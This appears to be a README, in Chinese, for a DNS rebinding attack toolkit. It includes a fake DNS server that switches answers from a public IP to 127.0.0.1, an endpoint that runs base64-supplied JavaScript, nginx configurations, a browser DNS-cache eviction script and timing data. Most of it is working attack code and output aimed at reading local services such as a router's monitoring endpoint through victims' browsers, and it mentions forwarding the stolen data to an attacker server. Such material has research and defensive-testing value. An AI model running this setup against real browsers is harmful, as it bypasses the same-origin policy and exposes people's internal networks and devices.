受 @tavisio 启发
该项目旨在成为一个全能工具包,用于测试进一步的 DNS 重新绑定攻击,也是我对这类攻击的个人理解。它包含一个 Web 服务器和一个仅响应 A 查询的伪 DNS 服务器。
Web 服务器的根索引页面提供了一个简陋的 Web 界面,用于配置和运行攻击。参见 dnsrebindtool.43z.one。
一个用于托管 Web 服务器的基本 nginx 配置
server {
listen 80;
server_name dnsrebindtool.43z.one;
location / {
proxy_pass http://localhost:5000;
}
}
Web 服务器的 /attack 路由会读取 GET 参数 script,该参数应提供 base64 编码的 JavaScript,然后服务器解码该代码(包裹在 setTimeout 中)并嵌入到一个常规 HTML 页面中返回。
% curl "http://dnsrebindtool.43z.one/attack?script=YWxlcnQoMSk="
<html>
<script>
setTimeout(function(){
alert(1)
}, 3000)
</script>
</html
在域名 43z.one 的注册商处,我为子域名 rebind 设置了 NS 记录,指向托管此工具的 IP。
ns A 81.4.124.10
rebind NS ns.43z.one
DNS 服务器仅响应以下格式的 A 查询
evcmxfm4g . 81-4-124-10 . 127-0-0-1 .rebind.43z.one
第一部分(子域名)只是一个随机 ID,应为每个攻击会话生成(Web 界面在每次重新加载时都会生成)。第二部分是 DNS 服务器应在接下来 2 秒内响应的 IP,第三部分是该时间过后服务器应响应的 IP。
$ date && nslookup -type=a evcmxfm4b.81-4-124-10.127-0-0-1.rebind.43z.one
Fri Feb 2 21:18:20 CET 2018
Server: 8.8.8.8
Address: 8.8.8.8#53
Non-authoritative answer:
Name: evcmxfm4b.81-4-124-10.127-0-0-1.rebind.43z.one
Address: 81.4.124.10
$ date && nslookup -type=a evcmxfm4b.81-4-124-10.127-0-0-1.rebind.43z.one
Fri Feb 2 21:18:23 CET 2018
Server: 8.8.8.8
Address: 8.8.8.8#53
Non-authoritative answer:
Name: evcmxfm4b.81-4-124-10.127-0-0-1.rebind.43z.one
Address: 127.0.0.1
最后缺失的部分是 rebind 域名的 nginx 配置。只有 /attack 路由应传递给工具,其他路由应返回错误。这样可以在除 /attack 之外的所有路由上攻击其他服务(例如 /api/monitoring/stats,这是我的路由器暴露的一个端点)。
server {
listen 80;
server_name *.rebind.43z.one;
location / {
return 404;
}
location /attack {
proxy_pass http://localhost:5000/attack;
}
}
DNS 缓存驱逐
var xhr = new XMLHttpRequest()
xhr.open('GET', 'czg9g2olz.81-4-124-10.127-0-0-1.rebind.43z.one', false)
xhr.send()
// 浏览器第一次看到这个域名时,会向 DNS 服务器查询
// 并得到 81.4.124.10
// 等待超过 2 秒
xhr.open('GET', 'czg9g2olz.81-4-124-10.127-0-0-1.rebind.43z.one', false)
xhr.send()
// 仍然使用 81.4.124.10(而不是 127.0.0.1)
// 没有发生 DNS 查询,浏览器使用了缓存的 IP
这对这类攻击来说是一个问题。为了成功,浏览器必须重新发起一次新的 DNS 查询以获取第二个 IP。理论上,如果你在两次请求之间等待足够长的时间,应该会触发新的查询。 然而,我的测试表明有一种更快但更激进的方法。这很可能是特定于具体环境的。需要更多测试。 我使用以下脚本测量了 WAIT 变量的最佳值。在运行 Debian buster/sid 的 Chromium 62.0.3202.89 上测试。
var WAIT = 200
var start = Date.now()
var interval = setInterval(function(){
var xhr = new XMLHttpRequest()
xhr.open('GET', '//' + $REBIND_DOMAIN, false)
xhr.send()
if(xhr.status == 200){
document.body.innerHTML = (Date.now() - start)/1000
document.body.innerHTML += xhr.responseText
clearInterval(interval)
return
}
}, WAIT)
我专门为此开了一个新仓库:dns cache eviction tester
将所有内容整合起来并进行测试。
echo -e "HTTP/1.1 200 OK\n\n TOPSECRET" | sudo nc -lvp 80 -q1 127.0.0.1
这个 netcat 实例提供了一些我想访问的内容。
我保留默认的 rebind 域名
$RANDOM$.81-4-124-10.127-0-0-1.rebind.43z.one
和默认脚本
var start = Date.now()
var interval = setInterval(function(){
var xhr = new XMLHttpRequest()
xhr.open('GET', '//' + $REBIND_DOMAIN, false)
xhr.send()
if(xhr.status == 200){
document.body.innerHTML = (Date.now() - start)/1000
document.body.innerHTML += xhr.responseText
clearInterval(interval)
return
}
}, 200)
在 dnsrebindtool.43z.one 上点击 Attack 按钮。
打开开发者工具的网络标签,查看后台发生的情况。
对我来说,大约 60 秒后,页面上会填满字符串 TOPSECRET 和所花费的时间。DNS 重新绕过了 SOP。
为了从 iframe 中取出被泄露的数据,可以使用 Window.PostMessage() 或在脚本本身中包含将数据转发到另一个攻击者服务器的代码。
| WAIT 值(毫秒) | Chrome 发送的请求数 | 再次查询 DNS 之前的时间(秒) |
|---|
| 0 | 700 | 60 |
| 10 | 700 | 60 |
| 100 | 600 | 63 |
| 120 | 500 | 63 |
| 150 | 400 | 63 |
| 180 | 400 | 75 |
| 200 | 300 | 63 |
| 220 | 300 | 69 |
| 250 | 300 | 78 |
| 280 | 300 | 87 |
| 300 | 200 | 63 |
| 320 | 200 | 67 |
| 340 | 200 | 71 |
| 360 | 200 | 75 |
| 380 | 200 | 79 |
| 400 | 200 | 83 |
| 1000 | 100 | 103 |